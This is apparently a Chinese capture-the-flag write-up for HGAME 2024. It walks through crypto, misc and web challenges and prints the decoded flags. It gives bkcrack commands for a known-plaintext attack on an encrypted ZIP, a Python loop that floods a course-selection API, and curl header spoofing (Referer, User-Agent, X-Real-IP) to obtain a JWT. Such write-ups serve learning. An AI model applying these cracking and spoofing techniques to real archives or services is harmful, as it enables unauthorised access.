'0010000000001010111100001100011101111101111000100100111010101110010110011001011110101100011101010000001100000110000000011000000110101111111011100100110111011010000100011111000111001000101001110010110010001000110010101011110011101000011111101101011000011110001101011111000110111000011000110011100100101100111100000100100101111001011101110001011011111111011010100010111011000010010101110110100000110100000100010101000010111101001000011000000000111010010101010111101101011111011001000101000100011001100101010110110001010010001010110111011011111101011100111001101111111111010011101111010010011110011111110100110011111110110001000111100010111000101111000011011011111101110101110100111000011100001010110111100011001011010011010111000110101100110100011101101011101000111011000100110110001100110101010110010011011110000111110100111101110000100010000111100010111000010000010001111110110100001000110110100100110110010110111010011111101011110000011101010100110101011110000110101110111011010110110000010000110001', '1110110110010001011100111110111110111001111101010011001111100100001000111001101011010100010111110101110101111010111100101100010011001001011101000101011000110111000010000101001000100111010110001010000111110110111000011001100010001101000010001111111100000101111000100101000000001001001001101110000100111001110001001011010111111010111101101101001110111010111110110011001000010001010100010010110110101011100000101111100100110011110001001001111100101111001111011011010111001001111010001100110001100001100000110000011111010100101111000000101011111010000111110000101111100010000010010111010110100101010101001111100101011100011001001011000101010101001101100010110000010001110011110011100111000110101010111010011010000001100001011000011101101000000011111000101111101011110011000011011000100100110111010011001111101100101100011000101001110101111001000010110010111101110110010101101000000101001011000000001110001110000100000001001111100011010011000000011011101111101001111110001011101100000010001001010011000001', '0001101010101010100001001001100010000101010100001010001000100011101100110001001100001001110000110100010101111010110111001101011011101110000011001000100100101000011011101000111001001010011100010001010110111011100100111110111001010010111010100000100111110101110010010110100001000010010001101111001110100010001011101100111011101011101100100101011010101000101001000101110011011111110110011111111100000000011100000010011000110001000110101010001011000010101000110000101001110101010111011010010111011001010011100010101001100110000110101100010000100110101110100001101001011011110011100110011001010110100101010111110110111100000111010001111101110000000000111011011101000011001010010111001110111000100111011110100101000100011011101100011111000101110110110111111001111000000011100011000010000101001011001101110101000010101001000100110010000101001111100101000001011011010011110001101000001101111010100101001100010100000111000011110101010100011011001110001011110111010111011010101101100000110000001010010101111011'] | |
mask='10001001000010000100010010001001' | |
key = Olist[0][:32] | |
R = '' | |
for i in range(32): | |
output = 'x'+key[:31] | |
print(output) | |
out = int(key[-1])^int(output[-1])^int(output[-4])^int(output[-8])^int(output[-11])^int(output[-15])^int(output[-20])^int(output[-25])^int(output[-28]) | |
R += str(out) | |
key = str(out)+key[:31] | |
print(hex(int(R[::-1],2))) |
#算 4 次根据 uuid4 分配即可
hgame\
# MISC
# SignIn(25pt)
换个方式签个到 flag 格式:‘hgame {[A-Z_]+}’
极度抽象
# 来自星尘的问候 (100pt)
一个即将发售的游戏的主角薇 ^3 带来了一条消息。这段消息隐藏在加密的图片里 但即使解开了图片的六位弱加密,看到的也是一张迷惑的图片。 也许游戏的官网上有这种文字的记录?补充:flag 格式为
hgame\{[a-z0-9_]+\}
python main.py -f secret.jpg -p 123456 |
steghide: application/zip
打开压缩包
网上社工了属于是,根据提示为来自星尘的游戏的文字记录。
Ctrl Astr 3.14 (my1l.github.io)
找到此类文字的生成网址
hgame\
# simple_attack(100pt)
怎么解开这个压缩包呢?
明显的明文攻击
bkcrack.exe -C attachment.zip -c 103223777_p0.jpg -P 103223777_p0.zip -p 103223777_p0.jpg |
bkcrack.exe -C attachment.zip -k e423add9 375dcd1c 1bce583e -U new.zip easy |
得到里面的 base64,转图片
得到 flag
# 希儿希儿希尔 (120pt)
Ch405 是一名忠实的希儿厨,于是他出了一道这样的题,不过他似乎忘了这个加密的名字不是希儿了(x 虽然经常有人叫错 补充: 图片打不开是正常现象,需要修复 最终得到的大写字母请用 hgame {} 包裹
图片尾部有压缩文件
CVOCRJGMKLDJGBQIUIVXHEYLPNWR
修复图片
lsb 无密码隐写得到希尔密钥
KEY:[8,7|3,8];A=0
解希尔字符串即可
DISAPPEARINTHESEAOFBUTTERFLY
hgame\
# 签到 (10pt)
关注 “凌武科技” 微信公众号,发送 “HGAME2024” 获得 Flag!
hgame\
# WEB
# (250pt)
2048 还是太简单了,柏喵喵决定挑战一下 2048*16
简单的 base64 换表
刷新时 F12,看游戏执行源码,可以找到
var x = [“debu”, “charAt”, “game-over”, “push”, “tile”, “3218200jObBXv”, “gger”, “bestContainer”, “firstChild”, “chain”, “4992592cfFfKg”, “updateBestScore”, “Game over!”, “add”, “score-addition”, “.best-container”, “over”, “.tile-container”, “scoreContainer”, “counter”, “clearMessage”, “tile-”, “tile-merged”, “appendChild”, “remove”, “1457704JdCGrI”, “apply”, “clearContainer”, “message”, “1135845OAckHq”, “init”, “requestAnimationFrame”, “addTile”, “applyClasses”, “\+\+ (?:[a-zA-Z_][0-9a-zA-Z_])”, “value”, “while (true) {}”, “call”, “length”, “querySelector”, “indexOf”, “string”, “div”, “tile-new”, “function *\( *\)”, “setInterval”, “2589jWZTtI”, “updateScore”, “class”, “createElement”, “score”, ‘{}.constructor(“return this”)( )’, “4321134sPxlgc”, “stateObject”, “positionClass”, “action”, “terminated”, “won”, “tile-position-”, “constructor”, “join”, “fromCharCode”, “forEach”, “textContent”, “normalizePosition”, “continueGame”, “previousPosition”, “bestScore”, “3224mBKYMJ”, “1522395ywebnW”, “prototype”, “.score-container”, “actuate”, “getElementsByTagName”, “tile-super”, “classList”, “messageContainer”, “I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK”, “tileContainer”];
其中
I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK
为换表后的 base64 加密字符串,
g[h(432)][h(469)] = function(x) {
var n = h
, e = x ? “game-won” : n(443)
, t = x ? s0(n(439), “V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3”) : n(453);
this[n(438)][n(437)].add(e),
this[n(438)]n(435)[-1257 * -5 + 9 * 1094 + -5377 * 3].textContent = t
}
虽然我看不太懂,但是 game-won 应该时输出了这个 base64 的换表
直接赛博橱子
# Bypass it(100pt)
This page requires javascript to be enabled 😃
js 前端验证,也是第一次见。
用的火狐浏览器
首先在 url 地址栏上输入
about:config
接受风险之后,接着输入
javascript.enabled
将 true 转换成 false
首先要是 javascript.enabled = true; 否则会显示 You don’t have javascript enabled. Good luck with that 😃
然后在登陆界面改换成 false; 点击注册
随便输入用户名即可;注册完成之后在改成 true
然后登陆
hgame\
# jhat(100pt)
jhat is a tool used for analyzing Java heap dump files
提示 1hint1: need rce
提示 2hint2: focus on oql
提示 3hint3: 题目不出网 想办法拿到执行结果
没做
# Select Courses(100pt)
Can you help ma5hr00m select the desired courses?
偶然间用 burp,随意放包选上了一次课,故怀疑概率有课能被选中,写脚本跑这概率事件即可,经测试约 3,700 次所有课全部选中
exp
import requests | |
url = "http://47.100.245.185:32274/api/courses" | |
headers = { | |
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0", | |
"Accept": "*/*", | |
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", | |
"Accept-Encoding": "gzip, deflate", | |
"Referer": "http://47.102.130.35:32583/", | |
"Content-Type": "application/json", | |
"Origin": "http://47.102.130.35:32583", | |
"Connection": "close", | |
} | |
for _ in range(9999): | |
for i in range(1, 6): | |
payload = {"id": i} | |
response = requests.post(url, json=payload, headers=headers) | |
print(f"Status Code: {response.status_code}, Response: {response.text}") |
_}
# ezHTTP(50pt)
HTTP Protocol Basics
curl -v -H "Referer: vidar.club" -H "User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" -H "X-Real-IP: 127.0.0.1" http://47.100.137.175:31983 2>&1 | grep --color -E 'Authorization' | |
## | |
< Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc | |
## | |
使用 awk 命令根据点号分隔 JWT,并对每一部分进行 base64 解码。 | |
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJGMTRnIjoiaGdhbWV7SFRUUF8hc18xbVAwclQ0bnR9In0.VKMdRQllG61JTReFhmbcfIdq7MvJDncYpjaT7zttEDc" | awk -F. '{print $2}' | base64 --decode | |
## | |
{"F14g":"hgame{HTTP_!s_1mP0rT4nt}"} | |
## |